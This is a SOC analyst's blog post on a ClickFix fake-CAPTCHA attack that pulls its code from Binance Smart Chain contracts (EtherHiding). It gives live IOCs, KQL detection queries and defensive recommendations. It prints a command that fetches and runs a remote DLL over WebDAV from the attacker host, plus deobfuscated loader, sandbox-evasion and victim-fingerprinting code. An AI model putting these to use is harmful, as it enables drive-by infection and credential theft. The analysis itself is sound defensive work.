Dissecting a Live ClickFix Attack: EtherHiding, WebDAV Abuse, and How ASR Saves the Day
- Damien van der Linden

- 4 days ago
- 18 min read
TL;DR
A user visited a compromised WordPress site that served a ClickFix fake CAPTCHA. The page used EtherHiding - pulling its malicious configuration from a Binance Smart Chain smart contract to deliver a clipboard-hijacked command that abused rundll32.exe to load a DLL over WebDAV.
The goal: deploy a Python-based information stealer targeting browser credentials, crypto wallets, email, VPN, 2FA, and more.
Attack Surface Reduction (ASR) blocked the execution before the stealer could run.
In this post, I walk through the full kill chain, decode the smart contract payload, map it to known threat activity (UNC5142/CLEARSHORT), and provide KQL detection queries for every stage. I'm not a malware reverse engineer - I'm a SOC analyst who pulled on threads until the picture became clear. Where I hit the limits of my analysis, I'll say so. Hopefully this walkthrough is useful whether you're a seasoned threat hunter or someone trying to understand how these attacks actually work.
How It Started
During morning coffee I stumbled on a ClickFix Detected alert in Microsoft Defender. The user had visited hxxps://www[.]fincasachavacayoc[.]com - a legitimate Peruvian farm tourism website built on WordPress that had been compromised.
Clickfix, always interesting, so I downed my coffee and opened the timeline of the device.
The key events visible in the timeline:
msedge.exe initiated TLS connections to bsc-testnet.drpc.org and ip-info.ff.avast.com - the browser was running the EtherHiding JavaScript before the user did anything
svchost.exe attempted connections to 188.114.96.0:80 and 188.114.97.0:80 (domains starting with warmcha.jok...) - these are the WebDAV payload servers, and they were blocked. We'll talk about WebDAV later on.
svchost.exe opened the DAV RPC SERVICE named pipe and created rundll32.exe - the WebDAV client was trying to fetch the remote DLL
explorer.exe wrote to the RunMRU registry key (T1112) - this confirms the user pasted a command into the Windows Run dialog
The ASR rule fired, blocking the unknown executable
To understand what would have happened if ASR hadn't intervened, I detonated the URL in ANY.RUN. The sandbox let the full chain execute, revealing every stage of the attack.
The Kill Chain
Let me walk through each stage of the attack, explaining what's happening and why it matters. If you're not deeply technical, don't worry - I'll explain the "why" alongside the "what" as much as I can.
Stage 1 - The Compromised Website Loads EtherHiding
The user visits what looks like a normal website - a lodge in Peru. But behind the scenes, the attackers have injected malicious JavaScript into the WordPress site. This JavaScript doesn't do anything obviously malicious on its own. Instead, it reaches out to the Binance Smart Chain (a cryptocurrency blockchain) and reads data from a "smart contract" - essentially a small program living on the blockchain.
Why use a blockchain? Because nobody can take it down. If an attacker hosts their malicious code on a regular server, defenders can report it, get it taken offline, and the attack stops working. But data on a blockchain is permanent and decentralized - there's no hosting provider to contact, no server to seize. This technique is called EtherHiding, and it's becoming increasingly popular with threat actors.
The JavaScript retrieves a base64-encoded string from the smart contract and decodes it.
Stage 2 - The ClickFix Fake CAPTCHA
The decoded JavaScript renders a convincing fake verification prompt over the page, defacing the website:
![The ClickFix lure as rendered in the ANY.RUN sandbox - a "Complete these Verification Steps" dialog overlaying the legitimate fincasachavacayoc[.]com website, instructing the user to press Win+R, Ctrl+V, and Enter.](https://static.wixstatic.com/media/ddf383_c35d50602f714ff382f93708d99093c5~mv2.png/v1/fill/w_980,h_551,al_c,q_90,usm_0.66_1.00_0.01,enc_avif,quality_auto/ddf383_c35d50602f714ff382f93708d99093c5~mv2.png)
This is the social engineering at the heart of ClickFix. The prompt says "To better prove you are not a robot, please:" and gives three steps:
Press & hold the Windows Key + R
In the verification window, press Ctrl + V
Press Enter on your keyboard to finish
It even includes a fake reCAPTCHA verification ID to look more legitimate. What the user doesn't know is that just loading this page has already copied a malicious command to their clipboard. When they follow the "verification steps," they're opening the Windows Run dialog (Win+R), pasting the malicious command (Ctrl+V), and executing it (Enter).
This is why ClickFix is so effective - users are conditioned to trust CAPTCHA prompts, and the steps feel like a normal technical process. Microsoft's 2025 Digital Defense Report identified ClickFix as the number one initial access method, responsible for 47% of all attacks observed by Microsoft Defender Experts. I sometimes dream about Clickfix, that's how much I'm confronted with it daily.
Stage 3 - WebDAV DLL Load via Rundll32
Before diving in, a quick note on WebDAV for anyone unfamiliar. WebDAV (Web Distributed Authoring and Versioning) is a protocol built on top of HTTP that allows users to access and manage files on a remote server as if they were on a local network share. Windows has a built-in WebDAV client (the WebClient service), which means any Windows machine can natively connect to a WebDAV server using standard UNC paths like \\server@port\folder\file.
Attackers love abusing this because it allows them to host malicious files remotely and have Windows fetch and execute them using built-in functionality - no additional tools needed.
The command that gets pasted and executed is (as you can see, it looks like a local path due to the double \\):
rundll32.exe \\measurecircu.blowoff.in.net@80\verification.google,#1Let me break this down for anyone unfamiliar with this technique:
rundll32.exe is a legitimate Windows program that loads and runs DLL files (dynamic link libraries). It exists on every Windows machine and is trusted by the operating system.
\\measurecircu.blowoff.in.net@80\ is a UNC path pointing to a remote server. The @80 tells Windows to connect over HTTP port 80 using WebDAV - a protocol that lets you access remote files as if they were on a local network share, like we talked about earlier.
verification.google,#1 is the file to load from that remote share. Notice it doesn't have a .dll extension - it's named to look like something related to Google verification. The ,#1 tells rundll32 to call the first exported function in the file.
So in plain terms: the command tells Windows to download a file from the attacker's server and run it, using legitimate Windows tools for every step. No downloading a suspicious .exe file, no running a script - just Windows doing what Windows does, except the file comes from an attacker.
Stage 4 - PowerShell Staging
If the DLL loads successfully (which ASR prevented in our case, but which happened in the sandbox), it spawns PowerShell with evasion flags:
powershell.exe -NoP -NoLogo -NonI -Command -Each flag serves a purpose: -NoP skips loading the PowerShell profile (avoids logging and custom configurations), -NoLogo hides the PowerShell banner, -NonI runs non-interactively (no user-visible window), and -Command - reads commands from stdin (nothing visible on the command line for defenders to see).
The PowerShell script uses base64 encoding, configures the security protocol for HTTPS downloads, and pulls down the next-stage payload.
Stage 5 - Python Stealer Deployment
PowerShell downloads and extracts a full Python runtime - including .pyd modules and C-runtime DLLs - into the user's AppData directory. It then launches a renamed Python executable called LaunchHelp.exe.
This is a common technique: instead of writing a stealer in C or .NET (which antivirus products are good at detecting), the attackers package their Python malware with its own Python interpreter. The legitimate Python binary (LaunchHelp.exe) runs the malicious Python scripts, and because the executable itself is "legitimate", it can evade some security controls.
Stage 6 - Credential and Data Theft
The ANY.RUN sandbox showed the stealer systematically accessing sensitive data stores. It targeted browser credentials and cookies, cryptocurrency wallets (Ethereum, Exodus, Atomic), password managers, email clients, FTP clients, VPN configurations, 2FA applications, messenger data, and cloud storage data. It also beaconed to ip-info.ff.avast[.]com to determine the victim's external IP address - a fingerprinting step so the attacker knows who they've compromised.
Where the Chain Broke
In our case, the attack was stopped at Stage 3. Two controls worked together
Windows Firewall / Network Protection blocked the outbound WebDAV connections to 188.114.96.0 and 188.114.97.0 (Cloudflare-fronted infrastructure hosting the WebDAV payload).
The ASR rule "Block executable files from running unless they meet a prevalence, age, or trusted list criteria" prevented rundll32.exe from executing the unknown DLL.
Because the DLL never loaded, the entire downstream chain - PowerShell, Python runtime drop, and the stealer itself - never executed. I confirmed this by querying Defender XDR for any powershell.exe processes spawned by rundll32.exe, any LaunchHelp.exe execution, and any non-browser access to credential stores. All came back empty.
The user was socially engineered into pasting the command, but the endpoint security controls held. This is exactly why ASR rules matter - they're the safety net for when social engineering succeeds.
Decoding the EtherHiding Payload
This is where I went down the rabbit hole, and it's gonna get juicy here. I wanted to understand exactly how the EtherHiding component worked - not just that it happened, but what was actually stored on the blockchain and how the multi-stage loading operated.
The Injected JavaScript
I extracted the JavaScript that had been injected into the compromised WordPress page. It was heavily obfuscated - variable names replaced with hex values, string arrays shuffled and indexed, but once deobfuscated, the core logic was straightforward:
// Deobfuscated core logic:
async function load_(address) {
const _data = {
method: 'eth_call',
params: [{ to: address, data: '0x6d4ce63c' }, 'latest'],
id: 97,
jsonrpc: '2.0'
};
const response = await fetch('https://bsc-testnet.drpc.org/', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify(_data)
});
// ... ABI decode the response, extract string ...
return value;
}
load_('0xA1decFB75C8C0CA28C10517ce56B710baf727d2e')
.then(result => eval(atob(result)))
.catch(() => {});
Here's what this does step by step:
It constructs a JSON-RPC request - this is the standard way applications talk to blockchain nodes
The method is eth_call, which reads data from a smart contract without creating a transaction (meaning it leaves no visible trace on the blockchain)
The data field 0x6d4ce63c is the function selector - the first 4 bytes of the hash of the Solidity function signature get()
It sends this request to https://bsc-testnet.drpc.org/, a public BSC testnet RPC endpoint
The response comes back, gets base64-decoded (atob()), and immediately executed (eval())
The .catch(() => {}) silently swallows any errors, so if the blockchain call fails, the legitimate website continues loading normally - the user never knows anything went wrong
The Smart Contract on BscScan
I looked up the contract address on BscScan (the blockchain explorer for BSC):

The BscScan page reveals some useful details:
The contract was deployed 214 days ago (approximately August 2025)
The deployer wallet is 0xd71f4cdC...b4c2d5290 - another IOC for tracking this actor's on-chain activity
The balance is 0 BNB - expected, since on BSC testnet there's no real currency involved
The bytecode is visible and decompilable
Decompiling the Bytecode
I decompiled the contract bytecode (which is also included in the BscScan screenshot) and found a dead-simple storage contract with three functions:
0x6d4ce63c → get() - Returns a string from storage. Public, no access control - anyone (including every victim's browser) can read it.
0x4ed3885e → set(string) - Writes a string to storage. Owner-only, protected by require(msg.sender == owner).
0x8da5cb5b → owner() - Returns the owner address.
The error message embedded in the bytecode decodes to "Only the owner can call this function" - confirming the access control on set(). In Solidity terms, the entire contract is essentially:
contract EtherHidingStore {
address private owner;
string private data;
function get() public view returns (string memory) { return data; }
function set(string memory _data) public {
require(msg.sender == owner, "Only the owner can call this function");
data = _data;
}
}
That's it. The blockchain is being used as bulletproof hosting for a single string. The attacker deploys the contract for free (BSC testnet uses faucet BNB - test currency that costs nothing), calls set() with their malicious payload, and every victim's browser calls get() to retrieve it.
No domains to take down, no servers to seize. The attacker can update the payload at any time by calling set() again.
What's Inside the Contract - Following the Breadcrumbs
This is where the investigation turned into a proper rabbit hole and where I definitely needed some help from my friend Claude Code. I'm going to walk through exactly how I traced each step, because the process itself is useful for anyone who encounters EtherHiding in the wild.
Step 1: Calling the contract directly.
Since the get() function is public (no access control), anyone can call it. I used curl to make the same eth_call the injected JavaScript makes:
curl -X POST https://bsc-testnet.drpc.org/ \
-H "Content-Type: application/json" \
-d '{"jsonrpc":"2.0","id":97,"method":"eth_call","params":[{"to":"0xA1decFB75C8C0CA28C10517ce56B710baf727d2e","data":"0x6d4ce63c"},"latest"]}'The response came back as a hex-encoded ABI string. After stripping the ABI headers (first 32 bytes for the offset, next 32 bytes for the string length), converting the hex to ASCII gave me a base64 string. Decoding that base64 revealed another layer of JavaScript containing a recursive loader, anti-sandbox checks, OS detection, and platform-specific contract addresses for Windows and Mac.
I was able to partially decode this first-layer payload (some bytes were corrupted during my extraction process - ABI encoding is something I'm still learning). But what I could recover gave me the key pieces: a second RPC endpoint (https://data-seed-prebsc-1-s1.bnbchain.org:8545), anti-analysis functions, and most importantly, the second-stage contract addresses:
Windows: 0x46790e2Ac7F3CA5A7D4FbfCe312d11E91d23383Ff
Mac: 0x68DcE15C1002a2689E19D33A3aE509DD1fEb11A5
Step 2: Looking up the deployer wallet.
I followed the trail to BscScan and looked up who deployed the Stage 1 contract:

This gave me the deployer wallet address: 0xd71f4cdC84420d2bd07F50787B4F998b4c2d5290. So I looked that up too.
Step 3: The deployer wallet reveals active operations.

This is where it got a little surreal. The wallet's most recent transaction was 42 seconds old at the time I checked - meaning the attacker was actively updating the payload contracts while I was investigating them, likely automated. The transaction history showed a clear pattern:
Repeated Set calls to 0x46790e2A...1d23383Ff - the Windows payload contract. Multiple updates within minutes of each other (1 min, 6 mins, 8 mins, 21 mins, 28 mins ago). The attacker was actively rotating the ClickFix payload.
Calls with function selector 0x5c61fc2c to 0xf4a32588...48d80832A - a fourth contract we hadn't seen before. At this point I didn't know what this contract did. (Spoiler: I found out in the next step.)
Funded by 0xAf7bAA11...3c928d2E1 277 days ago - the upstream funding wallet.
The 277-day wallet lifetime and continuous updates told me this is maintained, operational infrastructure - not a one-off campaign.
Step 4: Reading the Windows payload directly from the transaction.
This was the breakthrough. Since the deployer was making Set calls to the Windows payload contract every few minutes, I could see the raw transaction data on BscScan.

I clicked into the most recent Set transaction to 0x46790e2A...1d23383Ff, pulled the input data (which is the argument passed to the set() function - i.e., the actual payload being stored), and base64-decoded it.

Out came the complete ClickFix payload - the full JavaScript that gets served to victims. And it revealed everything.
The Full ClickFix Payload - Decoded
Here's what the Windows payload contract actually stores, broken down by function:
Sandbox detection (isHeadless):
The payload starts with a comprehensive browser fingerprinting function that checks whether it's running in an automated environment:
const isHeadless = (() => {
const checks = [
navigator.webdriver === true,
/HeadlessChrome/.test(navigator.userAgent),
navigator.userAgent.includes("PhantomJS"),
navigator.userAgent.includes("Puppeteer"),
navigator.userAgent.includes("Playwright"),
window.outerWidth === 0 && window.outerHeight === 0,
!window.chrome && !window.safari && !navigator.userAgent.includes("Firefox"),
];
const positiveChecks = checks.filter(Boolean).length;
const isLikelyNormalBrowser =
window.chrome?.runtime ||
window.safari ||
navigator.plugins.length > 0 ||
navigator.languages.length > 0;
return positiveChecks >= 2 && !isLikelyNormalBrowser;
})();
The logic is clever: it doesn't just check one thing. It requires at least 2 positive indicators of automation AND the absence of normal browser features. This makes it more resilient than simple single-check anti-analysis. (Anyway, Any.Run still caught it, try harder I guess)
Victim fingerprinting (getUserID):
Before showing the lure, the payload fingerprints the victim:
function getUserID() {
let e = getCookie("cjs_id");
return e || (e = generateId(), setCookie("cjs_id", e, 2)), e;
}
The generateId() function makes a synchronous XMLHttpRequest to https://ip-info.ff.avast.com/v2/info to get the victim's real IP address. If that fails, it falls back to a random UUID. The ID is stored in a cookie called cjs_id with a 2-day expiry. This is how the attacker tracks individual victims across the campaign.
Victim tracking via blockchain (isGoalReached):
This is the function that explains the fourth contract we spotted in the wallet transactions. The payload calls 0xf4a32588b50a59a82fbA148d436081A48d80832A with function selector 0x24513bb6, passing the victim's ID:
async function isGoalReached(e) {
// ... encodes the user ID and calls the tracking contract ...
// Returns true if the victim has already been compromised
return "yes" == value;
}
If isGoalReached returns true for a given victim ID, the ClickFix lure is not shown - the attacker skips victims who have already been compromised. This is operational discipline: it reduces the chance of the same user seeing the lure twice (which might raise suspicion) and avoids wasting the payload on already-infected machines. The 0x5c61fc2c calls we saw in the wallet transactions were likely the attacker updating the tracking data in this contract.
Windows-only targeting:
The payload explicitly checks for Windows before rendering anything:
if ((navigator.userAgent.includes("Windows") ||
navigator.platform.startsWith("Win") ||
navigator.userAgentData?.platform === "Windows") && !isHeadless) {
// ... render the ClickFix lure ...
}
Three separate Windows checks for robustness, combined with the anti-sandbox gate. If you're not on Windows or you're in a sandbox, nothing happens.
The clipboard payload:
The lure HTML is base64-encoded within the payload (a base64 inside a base64 - layers on layers). When decoded, it renders the "Complete these Verification Steps" dialog we saw in the ANY.RUN sandbox. The actual command that gets copied to the victim's clipboard is also base64-encoded within the code. It decodes to the rundll32 WebDAV command we observed in the kill chain.
Yandex Metrika analytics:
Perhaps most interestingly, the payload includes a Yandex Metrika tracking pixel with counter ID 99162160. The attacker is using legitimate web analytics to track how many victims see the lure and how many click through. When the victim clicks the fake checkbox, it fires a Yandex Metrika "reachGoal" event with the victim's ID. This gives the attacker a dashboard showing their campaign's conversion rate - how many visitors to compromised sites actually fall for the ClickFix trick.
The Complete Architecture
With all layers decoded, the full architecture looks like this:
Compromised WordPress site loads injected JavaScript
Stage 1 contract (0xA1dec...) returns the loader + anti-analysis + OS detection code via bsc-testnet.drpc.org
Code checks if the victim is on Windows or Mac and selects the appropriate Stage 2 contract
Stage 2 contract (0x46790... for Windows, 0x68DcE... for Mac) returns the full ClickFix payload via data-seed-prebsc-1-s1.bnbchain.org
Payload checks isHeadless - if it's a sandbox, stop
Payload calls isGoalReached on the tracking contract (0xf4a32...) - if this victim was already compromised, stop
Payload renders the fake CAPTCHA lure and copies the malicious command to the clipboard
Victim pastes rundll32.exe \\webdav_host@80\payload,#1 into the Run dialog
Yandex Metrika records the click for the attacker's analytics
Four smart contracts, two RPC endpoints, sandbox evasion, victim deduplication, and campaign analytics. For what looks like a simple "verify you're human" popup, there's a surprising amount of operational infrastructure behind it.
Correlation with UNC5142 / CLEARSHORT
This attack chain maps closely to the activity documented by Google's Threat Intelligence Group (GTIG) and Mandiant in their October 2025 report: "New Group on the Block: UNC5142 Leverages EtherHiding to Distribute Malware".
UNC5142 is a financially motivated threat actor that compromises WordPress websites and uses EtherHiding to distribute information stealers. Mandiant tracks their JavaScript loader as CLEARSHORT, an evolution of the earlier ClearFake framework. As of June 2025, GTIG had identified approximately 14,000 web pages containing injected JavaScript consistent with UNC5142 activity.
The correlations between our investigation and the documented UNC5142 playbook are significant:
Indicator | This Investigation | UNC5142 / CLEARSHORT (Mandiant) |
Entry point | Compromised WordPress site | Compromised WordPress sites (~14,000 identified) |
Technique | EtherHiding via BNB Smart Chain | EtherHiding via BNB Smart Chain |
Loader | Injected JS → eth_call → eval(atob()) | CLEARSHORT: injected JS → smart contract → base64 payload |
Contract structure | Simple get/set storage contract | Simple storage contracts with owner access control |
Multi-contract architecture | 3 contracts: loader → OS router → platform payload | Multi-level system: router → logic → storage |
Platform targeting | Separate contract addresses for Windows and Mac | Delivers platform-specific stealers (Lumma/Vidar for Windows, AMOS for Mac) |
Anti-analysis | isHeadless() with browser fingerprinting | Sandbox evasion and victim fingerprinting |
RPC endpoints | RPC endpoints for BNB Smart Chain communication | |
Lure | ClickFix fake CAPTCHA / Verification Steps | ClickFix / CLEARSHORT landing pages |
Final payload | Python-based stealer (browser, crypto, email, VPN, 2FA) | Infostealers: LUMMAC.V2, VIDAR, ATOMIC, RADTHIEF |
Cost to operate | Free (BSC testnet) | ~$0.25–$1.50 per update on mainnet |
Mandiant described UNC5142's evolution from a single-contract system to a "more sophisticated three-smart contract system beginning in November 2024" mimicking a software proxy pattern. The three-layer architecture we observed - loader contract, routing logic with OS detection, and platform-specific payload contracts - aligns directly with this documented evolution.
One notable difference: the contracts in our investigation were deployed on the BSC testnet rather than mainnet, meaning the attacker paid nothing to deploy or update the infrastructure. Mandiant noted UNC5142's mainnet operations cost $0.25–$1.50 per update. Using testnet eliminates even that minimal cost, though it comes with the trade-off of potentially less reliable RPC infrastructure.
Mandiant also noted that UNC5142 activity appeared to stop after July 2025. Our investigation is from March 2026 - and the deployer wallet was actively updating payload contracts during the investigation, with 25 transactions spanning 277 days of continuous operation. This could indicate a resumption of activity, a different operator using the same toolkit, or the ClearFake/CLEARSHORT framework being used by multiple actors (which Mandiant considers likely given the commodity nature of the tooling). The 277-day wallet lifetime suggests sustained, long-running operations rather than a brief campaign.
IOCs
Any.Run Investigation: Analysis https://www.fincasachavacayoc.com Malicious activity - Interactive analysis ANY.RUN
Network Indicators
Indicator | Context |
hxxps://www[.]fincasachavacayoc[.]com | Compromised WordPress site (initial access) |
measurecircu.blowoff[.]in[.]net | WebDAV C2 / DLL delivery (port 80) |
bsc-testnet.drpc[.]org | BSC testnet RPC endpoint (EtherHiding) |
data-seed-prebsc-1-s1.bnbchain[.]org | BSC testnet RPC endpoint (EtherHiding stage 2) |
ip-info.ff.avast[.]com | External IP reconnaissance |
188.114.96.0 | WebDAV infrastructure (Cloudflare-fronted) |
188.114.97.0 | WebDAV infrastructure (Cloudflare-fronted) |
192.185.97.244 | IP of compromised site |
Smart Contract Addresses (BSC Testnet)
Address | Purpose |
0xA1decFB75C8C0CA28C10517ce56B710baf727d2e | Stage 1: Loader + anti-analysis + OS routing |
0x46790e2Ac7F3CA5A7D4FbfCe312d11E91d23383Ff | Stage 2: Windows ClickFix payload |
0x68DcE15C1002a2689E19D33A3aE509DD1fEb11A5 | Stage 2: macOS ClickFix payload |
0xf4a32588b50a59a82fbA148d436081A48d80832A | Victim tracking contract (isGoalReached) |
Blockchain Indicators
Indicator | Context |
0xd71f4cdC84420d2bd07F50787B4F998b4c2d5290 | Deployer wallet - created contracts, actively updating payloads. 25 transactions, active for 277 days. |
Other Indicators
Indicator | Context |
Yandex Metrika counter 99162160 | Campaign analytics tracking victim interaction with the ClickFix lure |
Cookie name cjs_id | Victim tracking cookie set by the payload (2-day expiry) |
KQL Detection Queries
This wouldn't be a LindenSec blog without some KQL detections. These queries are written for Microsoft Defender XDR / Defender for Endpoint. They cover each stage of the kill chain observed in this investigation.
1 - ClickFix Entry: Rundll32 WebDAV DLL Load
The core ClickFix pattern - rundll32.exe loading a DLL from a remote WebDAV share via a UNC path with a port specification. If you see @80 or @443 in a rundll32 command line, that's WebDAV.
DeviceProcessEvents
| where FileName =~ "rundll32.exe"
| where ProcessCommandLine has_all ("\\\\", "@80")
or ProcessCommandLine matches regex @"\\\\[a-zA-Z0-9\.\-]+@\d+\\"
| project Timestamp, DeviceName, AccountName, ProcessCommandLine,
InitiatingProcessFileName, InitiatingProcessCommandLine
2 - Rundll32 Loading a File Without a DLL Extension
The WebDAV payload was named verification.google,#1 - no .dll extension. Legitimate rundll32 usage almost always references a .dll file.
DeviceProcessEvents
| where FileName =~ "rundll32.exe"
| where ProcessCommandLine matches regex @"rundll32\.exe.+\\\\.*,#\d+"
| where not(ProcessCommandLine has ".dll")
| project Timestamp, DeviceName, AccountName, ProcessCommandLine,
InitiatingProcessFileName
3 - PowerShell Spawned by Rundll32
Rundll32 spawning PowerShell is almost never legitimate. This catches the stealer staging phase where the loaded DLL hands off to PowerShell for download and execution.
DeviceProcessEvents
| where FileName =~ "powershell.exe"
| where InitiatingProcessFileName =~ "rundll32.exe"
| project Timestamp, DeviceName, AccountName, ProcessCommandLine,
InitiatingProcessCommandLine
4 - EtherHiding: Blockchain RPC DNS Lookups
Connections to BSC RPC endpoints from enterprise workstations are highly suspicious. Unless your organization is in Web3 development, these should not be happening.
DeviceNetworkEvents
| where RemoteUrl has_any (
"drpc.org",
"bnbchain.org",
"bsc-testnet",
"data-seed-prebsc"
)
| project Timestamp, DeviceName, AccountName, RemoteUrl, RemoteIP,
InitiatingProcessFileName, InitiatingProcessCommandLine
5 - Python Runtime Dropped to User Directories
The stealer ships with its own Python interpreter. Seeing .pyd modules or Python DLLs appearing in AppData or Temp paths - especially dropped by PowerShell - is a strong indicator of a Python-packed stealer.
DeviceFileEvents
| where FileName endswith ".pyd" or FileName startswith "python3"
| where FolderPath has_any ("AppData", "Temp", "ProgramData")
| where InitiatingProcessFileName =~ "powershell.exe"
| project Timestamp, DeviceName, FileName, FolderPath,
InitiatingProcessFileName, InitiatingProcessCommandLine
6 - External IP Reconnaissance
A common stealer recon step - the malware phones home to a public IP lookup service to fingerprint the victim's network. This may however generate quite some FP's, so watch out.
DeviceNetworkEvents
| where RemoteUrl has_any (
"ip-info.ff.avast.com",
"api.ipify.org",
"ifconfig.me",
"ipinfo.io",
"checkip.amazonaws.com",
"ip-api.com"
)
| project Timestamp, DeviceName, AccountName, RemoteUrl,
InitiatingProcessFileName, InitiatingProcessCommandLine
7 - IOC Network Sweep
A quick sweep for the specific infrastructure observed in this campaign.
let malicious_domains = dynamic([
"fincasachavacayoc.com",
"measurecircu.blowoff.in.net",
"bsc-testnet.drpc.org",
"data-seed-prebsc-1-s1.bnbchain.org"
]);
let malicious_ips = dynamic(["192.185.97.244"]);
DeviceNetworkEvents
| where RemoteUrl has_any (malicious_domains) or RemoteIP in (malicious_ips)
| project Timestamp, DeviceName, AccountName, RemoteUrl, RemoteIP,
RemotePort, InitiatingProcessFileName, InitiatingProcessCommandLine
Recommendations
For SOC teams and detection engineers:
Deploy ASR rules broadly. The rule "Block executable files from running unless they meet a prevalence, age, or trusted list criteria" was the single control that stopped this attack. Ensure it's enabled in block mode across your tenants, not just audit mode. It's very simple to activate and can save the day in situations like this.
Hunt for blockchain RPC connections. Connections to drpc.org, bnbchain.org, infura.io, alchemyapi.io, and similar blockchain RPC endpoints from non-developer workstations are highly suspicious and should be investigated.
Monitor RunMRU registry writes. ClickFix relies on the Windows Run dialog. Registry writes to RunMRU keys containing references to powershell, mshta, rundll32, wscript, or UNC paths are strong indicators of ClickFix execution .
Watch for rundll32 with WebDAV paths. Any rundll32.exe command line containing UNC paths with @80 or @443 port specifications should generate an alert.
For security leadership and end users:
User awareness is the first line of defense. ClickFix works because users are conditioned to trust CAPTCHA prompts. No legitimate website will ever ask you to press Win+R and paste a command. If you see this, close the browser tab immediately.
WordPress hygiene matters. This attack starts with a compromised WordPress site. If your organization runs WordPress, keep plugins and themes updated, restrict admin panel exposure, and implement WAF rules. Mandiant identified approximately 14,000 compromised pages in UNC5142 campaigns alone.
Understand the blockchain challenge. EtherHiding infrastructure cannot be taken down through traditional domain or hosting takedowns. Detection must focus on endpoint behavior - the process chains, the file drops, the credential access - not just network IOCs that can be rotated in seconds.
Final Thoughts
This investigation started as a single alert in a sea of daily events. Pulling on the threads led from a compromised tourism website, through blockchain smart contracts, to a multi-platform stealer operation with campaign analytics, victim deduplication, and clear links to documented threat activity.
I want to be transparent: I'm still learning. I'm a SOC analyst/engineer, not a malware reverse engineer or blockchain forensics specialist. The ABI decoding gave me trouble early on, and I initially thought I'd hit a dead end with corrupted bytes. But looking at the deployer wallet's transaction history on BscScan, I realized I could read the payload directly from the Set transaction input data rather than calling the contract. That workaround got me the full decoded payload. Sometimes persistence and a different angle matter more than deep expertise.
What I can say with confidence is that ASR rules work. In a world where ClickFix bypasses traditional security by turning the user into the attack vector, having an endpoint control that catches the downstream execution - even after the user has been tricked - is invaluable.
Make sure those rules are enabled in block mode across your environment.
The blockchain stuff was new to me. I learned it during the investigation. You don't need to be an expert before you start - you become one by doing the work. If you spot any errors or misinterpretations, let me know!
See you next time and thanks for reading!
References
Mandiant / GTIG - New Group on the Block: UNC5142 Leverages EtherHiding to Distribute Malware (October 2025)
Mandiant / GTIG - DPRK Adopts EtherHiding: Nation-State Malware Hiding on Blockchains (October 2025)
Microsoft Threat Intelligence - Think before you Click(Fix) (August 2025)
Sekoia - ClickFix tactic: Revenge of detection (March 2025)
Guardio Labs - EtherHiding: Hiding Web2 Malicious Code in Web3 Smart Contracts (October 2023)
ANY.RUN Sandbox - Analysis 74816a5d-0b09-44db-9cc1-6f965f8d6f68


Comments